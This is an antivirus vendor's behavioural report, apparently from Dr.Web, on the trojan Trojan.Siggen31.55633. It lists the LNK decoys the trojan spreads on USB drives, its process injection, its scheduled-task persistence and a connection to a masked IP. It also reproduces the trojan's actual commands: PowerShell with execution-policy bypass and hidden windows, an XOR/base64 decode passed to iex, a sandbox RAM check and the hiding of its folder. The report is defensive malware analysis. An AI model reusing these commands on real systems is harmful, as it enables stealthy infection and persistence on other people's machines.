Trojan.Siggen31.55633

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

<SYSTEM32>\tasks\wippnullarmor

Creates the following files on removable media

<Drive name for removable media>:\usb.exe
<Drive name for removable media>:\correct.avi.lnk
<Drive name for removable media>:\delete.avi.lnk
<Drive name for removable media>:\archer.avi.lnk
<Drive name for removable media>:\dashborder_192.bmp.lnk
<Drive name for removable media>:\dial.bmp.lnk
<Drive name for removable media>:\dashborder_96.bmp.lnk
<Drive name for removable media>:\dashborder_120.bmp.lnk
<Drive name for removable media>:\coffee.bmp.lnk
<Drive name for removable media>:\dialmap.bmp.lnk
<Drive name for removable media>:\contoso.cer.lnk
<Drive name for removable media>:\sdkfailsafeemulator.cer.lnk
<Drive name for removable media>:\sdksampleunprivdeveloper.cer.lnk
<Drive name for removable media>:\fi51.doc.lnk
<Drive name for removable media>:\lisp_success.doc.lnk
<Drive name for removable media>:\february_catalogue__2015.doc.lnk
<Drive name for removable media>:\ovp25012015.doc.lnk
<Drive name for removable media>:\cveuropeo.doc.lnk
<Drive name for removable media>:\glidescope_review_rev_010.docx.lnk
<Drive name for removable media>:\nwfieldnotes1966.docx.lnk
<Drive name for removable media>:\sdszfo.docx.lnk
<Drive name for removable media>:\issi2013_template_for_posters.docx.lnk
<Drive name for removable media>:\file_p_00000000_1371597592.docx.lnk
<Drive name for removable media>:\chromesetup.exe.lnk
<Drive name for removable media>:\calc.exe.lnk
<Drive name for removable media>:\alert.htm.lnk
<Drive name for removable media>:\64bit_notes.htm.lnk
<Drive name for removable media>:\browse.htm.lnk
<Drive name for removable media>:\tree_view.htm.lnk
<Drive name for removable media>:\iisstart.htm.lnk
<Drive name for removable media>:\about.htm.lnk
<Drive name for removable media>:\garden.htm.lnk
<Drive name for removable media>:\ituneshelpunavailable.htm.lnk
<Drive name for removable media>:\ituneshelpunavailable.html.lnk
<Drive name for removable media>:\howto-index.html.lnk
<Drive name for removable media>:\iisstart.html.lnk
<Drive name for removable media>:\tree_view.html.lnk
<Drive name for removable media>:\api-hashmap.html.lnk
<Drive name for removable media>:\3.jpeg.lnk
<Drive name for removable media>:\13.jpeg.lnk
<Drive name for removable media>:\parnas_01.jpeg.lnk
<Drive name for removable media>:\168.jpg.lnk
<Drive name for removable media>:\region-north-karelia.jpg.lnk
<Drive name for removable media>:\13.jpg.lnk
<Drive name for removable media>:\210252809.jpg.lnk
<Drive name for removable media>:\2.jpg.lnk
<Drive name for removable media>:\spanner.mov.lnk
<Drive name for removable media>:\firefly1.mov.lnk
<Drive name for removable media>:\video.mp4.lnk
<Drive name for removable media>:\video_1.mp4.lnk
<Drive name for removable media>:\clip_480_5sec_6mbps_h264.mp4.lnk
<Drive name for removable media>:\fil_20060629111052.pdf.lnk
<Drive name for removable media>:\2015-02-patients-topic-work-related-asthma-jobs.pdf.lnk
<Drive name for removable media>:\2015-02-worms-nanoparticle-toxicity.pdf.lnk
<Drive name for removable media>:\7790_preview.pdf.lnk
<Drive name for removable media>:\spib_pima.pdf.lnk
<Drive name for removable media>:\dualectls.pdf.lnk
<Drive name for removable media>:\lom602.pdf.lnk
<Drive name for removable media>:\server.pem.lnk
<Drive name for removable media>:\systisoft.pem.lnk
<Drive name for removable media>:\hhhlcert.pem.lnk
<Drive name for removable media>:\investmentbankca_ca8.pem.lnk
<Drive name for removable media>:\ck.pem.lnk
<Drive name for removable media>:\background.png.lnk
<Drive name for removable media>:\calibre.png.lnk
<Drive name for removable media>:\asm.png.lnk
<Drive name for removable media>:\metac.ppt.lnk
<Drive name for removable media>:\writingcompletesarnarrative_1103.ppt.lnk
<Drive name for removable media>:\accountsreceivable.ppt.lnk
<Drive name for removable media>:\sim_gametheory_to_finance.ppt.lnk
<Drive name for removable media>:\ppswamp.ppt.lnk
<Drive name for removable media>:\sacs_presentation_sacs_qep_improving_rt_education_final.ppt.lnk
<Drive name for removable media>:\ksearch_esa_talk.ppt.lnk
<Drive name for removable media>:\hypothyroidism_slides.pptx.lnk
<Drive name for removable media>:\waterresourcesag.pptx.lnk
<Drive name for removable media>:\asaprojectcompetition.pptx.lnk
<Drive name for removable media>:\indogerman2010.pptx.lnk
<Drive name for removable media>:\gruenspecht_02172016.pptx.lnk
<Drive name for removable media>:\samieee_obiee_presentation.pptx.lnk
<Drive name for removable media>:\20140114.rdf.lnk
<Drive name for removable media>:\digest.rdf.lnk
<Drive name for removable media>:\schema.rdf.lnk
<Drive name for removable media>:\foaf.rdf.lnk
<Drive name for removable media>:\sioc.rdf.lnk
<Drive name for removable media>:\krsweden.rtf.lnk
<Drive name for removable media>:\pandp.rtf.lnk
<Drive name for removable media>:\pubnet_855.rtf.lnk
<Drive name for removable media>:\phytoremediation.rtf.lnk
<Drive name for removable media>:\static_electricity_easy_and_quick_activities.rtf.lnk
<Drive name for removable media>:\router_manual.rtf.lnk
<Drive name for removable media>:\waterlandhealthkano.rtf.lnk
<Drive name for removable media>:\babyboymaintonotesbackground_pal.wmv.lnk
<Drive name for removable media>:\flower_trans_matte.wmv.lnk
<Drive name for removable media>:\babyboymaintoscenesbackground.wmv.lnk
<Drive name for removable media>:\testwmv.wmv.lnk
<Drive name for removable media>:\calculatorworksheet.xls.lnk
<Drive name for removable media>:\contractualdeadlines.xls.lnk
<Drive name for removable media>:\guide_reorganization_mapping.xls.lnk
<Drive name for removable media>:\highly_cited_2001.xlsx.lnk
<Drive name for removable media>:\2013_finalsummaryforweb.xlsx.lnk
<Drive name for removable media>:\national_autism_preparation_programs.xlsx.lnk
<Drive name for removable media>:\suspendedcompanies.xlsx.lnk
<Drive name for removable media>:\trtf_matrix2012_oct.xlsx.lnk
<Drive name for removable media>:\disclosuredetails.xlsx.lnk
<Drive name for removable media>:\1sm_price.zip.lnk
<Drive name for removable media>:\productos.zip.lnk
<Drive name for removable media>:\removedtitles_records.zip.lnk
<Drive name for removable media>:\price.zip.lnk
<Drive name for removable media>:\fiche_inscription_2015.zip.lnk
<Drive name for removable media>:\calculatorworksheet.zip.lnk
<Drive name for removable media>:\contractualdeadlines.zip.lnk
<Drive name for removable media>:\system volume information .lnk

Malicious functions

Injects code into

the following system processes:

%WINDIR%\explorer.exe

Modifies file system

Creates the following files

C:\users\admin\downloads\testing\income.pdf
C:\users\admin\downloads\testing\trying_flink_vovag3nf.bat
%ALLUSERSPROFILE%\inteldriver\windows.cmd
%ALLUSERSPROFILE%\inteldriver\netstat.c
%ALLUSERSPROFILE%\inteldriver\boot64x.w
%ALLUSERSPROFILE%\inteldriver\win64x.exe
%TEMP%\__psscriptpolicytest_1zby3wv1.om4.ps1
%TEMP%\__psscriptpolicytest_v1bh2gnv.jfq.psm1
%TEMP%\content\4444-3176-win64x.exe-14-18-29-911.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-30-461.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-30-645.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-31-025.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-31-977.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-32-191.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-32-241.dump
%TEMP%\1yyunoco\1yyunoco.0.cs
%TEMP%\1yyunoco\1yyunoco.cmdline
%TEMP%\1yyunoco\1yyunoco.out
%TEMP%\1yyunoco\cscbf873d27194a4d46a310322c71c3bad3.tmp
%TEMP%\resd7ce.tmp
%TEMP%\1yyunoco\1yyunoco.dll
%TEMP%\content\4444-3176-win64x.exe-14-18-34-483.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-34-646.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-34-833.dump
%APPDATA%\wippnullarmor.xml
%ALLUSERSPROFILE%\inteldriver\wippnullarmor.vbs
%TEMP%\content\4444-3176-win64x.exe-14-18-36-296.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-36-771.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-36-878.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-36-888.dump
%TEMP%\content\4444-3176-win64x.exe-14-18-36-899.dump
%LOCALAPPDATA%\microsoft\windows\powershell\moduleanalysiscache

Sets the 'hidden' attribute to the following files

<Drive name for removable media>:\usb.exe

Network activity

Connects to

'19#.#24.205.25':3000

Miscellaneous

Searches for the following windows

ClassName: 'Edit' WindowName: ''

Creates and executes the following

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Unblock-File -Path 'C:\Users\ADMIN\Downloads\TESTING\trying_Flink_VOVag3Nf.bat'"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\ADMIN\Downloads\TESTING\trying_Flink_VOVag3Nf.bat' -ArgumentList 'silent' -WindowStyle HIdden"
'%ALLUSERSPROFILE%\inteldriver\win64x.exe' -c "$k='e4';$d=[Convert]::FromBase64String((gc 'netstat.c' -Raw));$s='';$i=0;foreach($b in $d){$s+=[char]($b -bxor $k[$i]);$I=!$I};iex $s"
'<SYSTEM32>\wscript.exe' "%ALLUSERSPROFILE%\IntelDriver\wippnullarmor.vbs"

Executes the following

'<SYSTEM32>\cmd.exe' /c ""C:\Users\ADMIN\Downloads\TESTING\trying_Flink_VOVag3Nf.bat" "
'<SYSTEM32>\cmd.exe' /c ""C:\Users\ADMIN\Downloads\TESTING\trying_Flink_VOVag3Nf.bat" silent "
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "try { $ram = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory; if (!$ram -or $ram -lt 2GB) { exIt 123 } else { exit 0 } } catch { exIt 123 }"
'<SYSTEM32>\attrib.exe' +s +h IntelDriver
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$out = ''; foreach ($lIne in Get-Content 'windows.cmd') { if ($line -match '^rem\s+(.+)') { $out += $matches[1] + \"`n\" } }; sET-Content -Path 'netstat.c' -Value $out"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$out=''; foreach ($line in Get-Content 'windows.cmd') { if ($line.StartsWith('::')) { $out += $line.SubstrIng(2).TrimStart() + \"`n\" } }; sET-Content -Path 'boot64x.w' -Value $out"
'%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\1yyunoco\1yyunoco.cmdline"
'%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD7CE.tmp" "%TEMP%\1yyunoco\CSCBF873D27194A4D46A310322C71C3BAD3.TMP"
'<SYSTEM32>\schtasks.exe' /create /tn wippnullarmor /xml %APPDATA%\wippnullarmor.xml /f
'<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\IntelDriver\windows.cmd" "
'<SYSTEM32>\cmd.exe' /c ""C:\Users\ADMIN\Downloads\TESTING\trying_Flink_VOVag3Nf.bat" silent "' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\1yyunoco\1yyunoco.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESD7CE.tmp" "%TEMP%\1yyunoco\CSCBF873D27194A4D46A310322C71C3BAD3.TMP"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c ""%ALLUSERSPROFILE%\IntelDriver\windows.cmd" "' (with hidden window)

Технологии

Термины

Обучение и просвещение

Мифы

Technical Information

Рекомендации по лечению

Демо бесплатно на 14 дней